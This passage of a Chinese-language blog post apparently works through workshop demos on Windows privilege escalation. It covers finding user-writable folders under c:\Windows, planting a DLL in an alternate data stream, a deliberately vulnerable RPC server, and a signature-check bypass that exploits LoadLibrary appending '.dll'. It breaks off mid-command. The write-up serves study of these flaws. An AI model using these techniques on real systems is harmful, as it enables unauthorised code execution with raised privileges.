class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br></pre></td><td class="code"><pre><span class="line">c:\workshop\ExploitTools>..\sandbox-attacksurface-analysis-tools\CheckFileAccess.exe c:\Windows</span><br><span class="line"></span><br><span class="line">\??\c:\Windows\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\_default.pif : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\bfsvc.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\bootstat.dat : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\DtcInstall.log : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\explorer.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\HelpPane.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\hh.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\lsasetup.log : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\mib.bin : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\notepad.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Professional.xml : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\regedit.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\setupact.log : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\setuperr.log : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\splwow64.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\system.ini : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\twain.dll : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\twain_32.dll : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\twunk_16.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\twunk_32.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\win.ini : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\WindowsShell.Manifest : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\WindowsUpdate.log : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\winhelp.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\winhlp32.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\WMSysPr9.prx : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\write.exe : 001200A9 ReadData, ReadEa, Execute, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\addins\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\appcompat\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\apppatch\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\AppReadiness\ : 00120089 ListDirectory, ReadEa, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\assembly\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\bcastdvr\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\BitLockerDiscoveryVolumeContents\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Boot\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Branding\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\CbsTemp\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Cursors\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\debug\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\diagnostics\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\DigitalLocker\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Downloaded Program Files\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\ELAMBKUP\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\en-US\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Fonts\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\GameBarPresenceWriter\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Globalization\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Help\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\IME\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\ImmersiveControlPanel\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\INF\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\InputMethod\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Installer\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\L2Schemas\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Logs\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Media\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Microsoft.NET\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Migration\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\MiracastView\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\OCR\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Offline Web Pages\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Panther\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Performance\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\PLA\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\PolicyDefinitions\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\PrintDialog\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Provisioning\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Registration\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\RemotePackages\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\rescache\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Resources\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\SchCache\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\schemas\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\security\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\ServiceProfiles\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\servicing\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Setup\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\ShellExperiences\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\SKB\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\SoftwareDistribution\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Speech\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Speech_OneCore\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\System\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\System32\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\SystemApps\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\SystemResources\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\TAPI\ : 00120089 ListDirectory, ReadEa, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Tasks\ : 001200AB ListDirectory, AddFile, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\tracing\ : 001201BF ListDirectory, AddFile, AddSubDirectory, ReadEa, WriteEa, Traverse, ReadAttributes, WriteAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\twain_32\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Vss\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\Web\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\WinSxS\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\zh-CN\ : 001200A9 ListDirectory, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">Error dumping file \??\c:\Windows\CSC (0xC0000022) - {无法访问}</span><br><span class="line">过程已请求访问一对象,但未给访问权限。</span><br><span class="line"></span><br><span class="line">Error dumping file \??\c:\Windows\InfusedApps (0xC0000022) - {无法访问}</span><br><span class="line">过程已请求访问一对象,但未给访问权限。</span><br><span class="line"></span><br><span class="line">Error dumping file \??\c:\Windows\LiveKernelReports (0xC0000022) - {无法访问}</span><br><span class="line">过程已请求访问一对象,但未给访问权限。</span><br><span class="line"></span><br><span class="line">Error dumping file \??\c:\Windows\ModemLogs (0xC0000022) - {无法访问}</span><br><span class="line">过程已请求访问一对象,但未给访问权限。</span><br><span class="line"></span><br><span class="line">Error dumping file \??\c:\Windows\Prefetch (0xC0000022) - {无法访问}</span><br><span class="line">过程已请求访问一对象,但未给访问权限。</span><br><span class="line"></span><br><span class="line">Error dumping file \??\c:\Windows\Temp (0xC0000022) - {无法访问}</span><br><span class="line">过程已请求访问一对象,但未给访问权限。</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="6-2-非管理员权限启动的-console-shell-具有什么用户权限"><a href="#6-2-非管理员权限启动的-console-shell-具有什么用户权限" class="headerlink" title="6.2 非管理员权限启动的 console shell 具有什么用户权限"></a>6.2 非管理员权限启动的 console shell 具有什么用户权限</h3><p>如果当前用户属于管理员组(Administrators),那么启动的 shell 进程是具有 limited token,比如访问 c:\windows\system32 会被拒绝,而管理员权限的 shell 进程具有 full token</p><h3 id="6-3-创建-ADS-需要什么权限"><a href="#6-3-创建-ADS-需要什么权限" class="headerlink" title="6.3 创建 ADS 需要什么权限"></a>6.3 创建 ADS 需要什么权限</h3><p>对比测试 c:\Windows\tracing 和 c:\Windows\Tasks 两个目录</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">c:\workshop\ExploitTools>CopyFile.exe TestDll32.dll c:\Windows\tracing:xyz.dll</span><br><span class="line">Copied TestDll32.dll to c:\Windows\tracing:xyz.dll</span><br><span class="line"></span><br><span class="line">c:\workshop\ExploitTools>CopyFile.exe TestDll32.dll c:\Windows\Tasks:xyz.dll</span><br><span class="line">Error copying file</span><br><span class="line"></span><br><span class="line">c:\workshop\ExploitTools></span><br></pre></td></tr></table></figure><p>向 c:\Windows\Tasks 目录创建 ADS 失败了,</p><p>对比查看两个文件夹的 permissions</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">\??\c:\Windows\Tasks\ : 001200AB ListDirectory, AddFile, ReadEa, Traverse, ReadAttributes, ReadControl, Synchronize</span><br><span class="line">\??\c:\Windows\tracing\ : 001201BF ListDirectory, AddFile, AddSubDirectory, ReadEa, WriteEa, Traverse, ReadAttributes, WriteAttributes, ReadControl, Synchronize</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Tasks 目录缺少的 Permission 为:AddSubDirectory、WriteEa、WriteAttributes</p><p>剩下这 3 个可疑的权限,如何判断是哪个生效的呢?</p><p>鼠标右键新建一个测试文件夹 c:\workshop\test_ads,默认情况下 test_ads 会继承 c:\ 的访问权限。当前用户具有对该文件夹的读/写/修改权限等大部分权限。</p><p>文件夹右键->属性->安全->高级->禁用继承->将已经继承的权限转换为当前文件的显式权限->此时就可以编辑各个权限了,针对某个具体的高级权限启用或者禁用</p><p>根据实际测试, AddSubDirectory、WriteEa、WriteAttributes 这三个权限,缺少哪个,都不能在 test_ads 文件夹中创建 ADS 和拷贝文件。这一点与 James Forshaw PPT 第 88 页的结果不太一致,他只强调了 AddSubDirectory 权限与 Alternate Data Steam 创建有关。</p><h3 id="6-4-如何查看依附在某个文件或者文件夹上的-ADS"><a href="#6-4-如何查看依附在某个文件或者文件夹上的-ADS" class="headerlink" title="6.4 如何查看依附在某个文件或者文件夹上的 ADS"></a>6.4 如何查看依附在某个文件或者文件夹上的 ADS</h3><p>利用 Sysinternals 工具集中的 streams.exe 工具可以查看</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">PS C:\Users\test> C:\workshop\Sysinternals\streams.exe C:\Windows\tracing</span><br><span class="line"></span><br><span class="line">Streams v1.56 - Enumerate alternate NTFS data streams</span><br><span class="line">Copyright (C) 1999-2007 Mark Russinovich</span><br><span class="line">Sysinternals - www.sysinternals.com</span><br><span class="line"></span><br><span class="line">C:\Windows\tracing:</span><br><span class="line"> :xyz.dll:$DATA 205824</span><br></pre></td></tr></table></figure><h3 id="6-5-如何删除-ADS-Alternate-Data-Steam"><a href="#6-5-如何删除-ADS-Alternate-Data-Steam" class="headerlink" title="6.5 如何删除 ADS(Alternate Data Steam)"></a>6.5 如何删除 ADS(Alternate Data Steam)</h3><p>目前还没有找到直接删除 ADS 的快捷方法,只看到有文章中提到可以通过 ren(重命名)的方式实现,相当于删除目录(或文件)之后再次创建。</p><h3 id="6-6-该漏洞所在的函数"><a href="#6-6-该漏洞所在的函数" class="headerlink" title="6.6 该漏洞所在的函数"></a>6.6 该漏洞所在的函数</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//RpcServer.c</span></span><br><span class="line"><span class="keyword">extern</span> <span class="string">"C"</span> boolean <span class="title function_">TestLoadLibraryCanonical</span><span class="params">(<span class="type">handle_t</span> hBinding, <span class="type">const</span> <span class="type">wchar_t</span>* name)</span></span><br><span class="line">{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"TestLoadLibraryCanonical called\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (wcschr(name, <span class="string">'\\'</span>) || wcschr(name, <span class="string">'/'</span>))</span><br><span class="line">{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Error, name contains path separators\n"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">wstring</span> full_path = GetPathFromEnv(FOLDERID_Windows) + <span class="string">L"\\"</span> + name;</span><br><span class="line"> <span class="keyword">return</span> TestLoadLibrary(hBinding, name);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="7-DEMO-7-TOCTOU-on-Name"><a href="#7-DEMO-7-TOCTOU-on-Name" class="headerlink" title="7 DEMO 7 : TOCTOU on Name"></a>7 DEMO 7 : TOCTOU on Name</h2><p>选择 TOCTOU LoadLibrary 测试项目之后,提示加载失败</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">Specify library name: Tasks\xyz.dll</span><br><span class="line">Error calling RPC function</span><br><span class="line">[RPC Tests]</span><br><span class="line">1 - Test Create Process</span><br><span class="line">2 - Test Load Library</span><br><span class="line">3 - Test Load Library with Path Check</span><br><span class="line">4 - Test Load Library TOCTOU</span><br><span class="line">5 - Test Load Library TOCTOU Hardened</span><br><span class="line">6 - Duplicate handle</span><br><span class="line">0 - Exit Menu</span><br><span class="line">Specify operation number: 4</span><br><span class="line"></span><br><span class="line">Specify library name: tracing:xyz.dll</span><br><span class="line">Error calling RPC function</span><br></pre></td></tr></table></figure><p>服务端的输出日志提示是 Verify 失败</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Error verifying file: Module not in system directory</span><br></pre></td></tr></table></figure><p>查看源码, LoadLibrary 之前调用了系统 API WinVerifyTrust 检测了文件签名</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">extern</span> <span class="string">"C"</span> boolean <span class="title function_">TestLoadLibraryTocTou</span><span class="params">(<span class="type">handle_t</span> hBinding, <span class="type">const</span> <span class="type">wchar_t</span>* lib_path)</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (VerifyEmbeddedSignature(lib_path))</span><br><span class="line"> {</span><br><span class="line"> HMODULE hModule = LoadLibrary(lib_path);</span><br><span class="line"> <span class="keyword">if</span> (hModule != nullptr)</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Loaded module: %p\n"</span>, hModule);</span><br><span class="line"> FreeLibrary(hModule);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Error loading module: %ls\n"</span>, GetErrorMessage(GetLastError()).c_str());</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Module not in system directory\n"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">bool</span> <span class="title function_">VerifyEmbeddedSignature</span><span class="params">(LPCWSTR pwszSourceFile)</span></span><br><span class="line">{</span><br><span class="line"><span class="comment">//...</span></span><br><span class="line"> lStatus = WinVerifyTrust(</span><br><span class="line"> <span class="literal">NULL</span>,</span><br><span class="line"> &WVTPolicyGUID,</span><br><span class="line"> &WinTrustData);</span><br><span class="line"></span><br><span class="line"> <span class="type">bool</span> ret = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">switch</span> (lStatus)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> ERROR_SUCCESS:</span><br><span class="line"> ret = <span class="literal">true</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Error verifying file: %ls\n"</span>, GetErrorMessage(GetLastError()).c_str());</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> <span class="keyword">return</span> ret;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>通过分析上面的源码,如果我们可以在 VerifyEmbeddedSignature() 调用时利用符号链接指向系统文件 verified.dll,但是在调用 LoadLibrary 时再修改指向我们可控的文件 evil.dll,那就可以成功了,如果在验证签名之后有机制可以回调通知我们,那就可以精确获得符号链接的替换时机。</p><h3 id="File-Directory-Change-Notify-文件变动通知"><a href="#File-Directory-Change-Notify-文件变动通知" class="headerlink" title="File/Directory Change Notify(文件变动通知)"></a>File/Directory Change Notify(文件变动通知)</h3><p>当文件名/目录/文件大小/属性/安全属性 发生变动时,可以通过 WaitForMultipleObjects 获得通知</p><p>参考 MSDN: <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa364417(v=vs.85).aspx">FindFirstChangeNotification</a></p><p>这个的问题在于,通知只会在文件变动的时候触发,而 WinVerifyTrust 并不会触发。</p><h3 id="TOCTOU-不只是抢时间"><a href="#TOCTOU-不只是抢时间" class="headerlink" title="TOCTOU 不只是抢时间"></a>TOCTOU 不只是抢时间</h3><p>上面我一直从’抢时间’的角度来找方法,但是在 WinVerifyTrust() 之后到 LoadLibrary 的时间差很短,上面提到的 Access Callback 也没有找到,所以这个方法比较困难。</p><p>回去看了一下 James Forshaw 给的文档,他的利用方法很有意思,他利用的是系统 API WinVerifyTrust 和 LoadLibrary 处理文件名时的差异。</p><p>WinVerifyTrust() 接受的就是用户提供的路径,不会做任何处理,而 LoadLibrary 不一样,如果用户指定的路径不是以 dll 结尾,LoadLibrary 会尝试 ‘补’上一个 “.dll”。发现这个差异,利用方法也就有了。</p><p>注意 <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175(v=vs.85).aspx">MSDN LoadLibrary</a> 中的这段文档,如果路径不是以 “.dll” 结尾,自动追加上 “.dll”。另外,如果不希望 LoadLibrary 自动追加 “.dll”,那在提供的路径后面追加一个 “.”,这个特性说不定什么时候也能被利用。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">If the string specifies a module name without a path and the file name extension is omitted, the function appends the default library extension .dll to the module name. To prevent the function from appending .dll to the module name, include a trailing point character (.) in the module name string.</span><br></pre></td></tr></table></figure><h3 id="利用方法"><a href="#利用方法" class="headerlink" title="利用方法"></a>利用方法</h3><p>既然有了 LoadLibrary 这个比较 “周到” 的特性,那利用方法也就有了。</p><p>拷贝携带有效签名的 kernel32.dll 至我们的文件夹 c:\workshop\test\,重命名为 abc,即 c:\workshop\test\abc</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">c:\workshop\ExploitTools>CopyFile.exe c:\Windows\System32\kernel32.dll c:\workshop\test\abc</span><br><span class="line">Copied c:\Windows\System32\kernel32.dll to 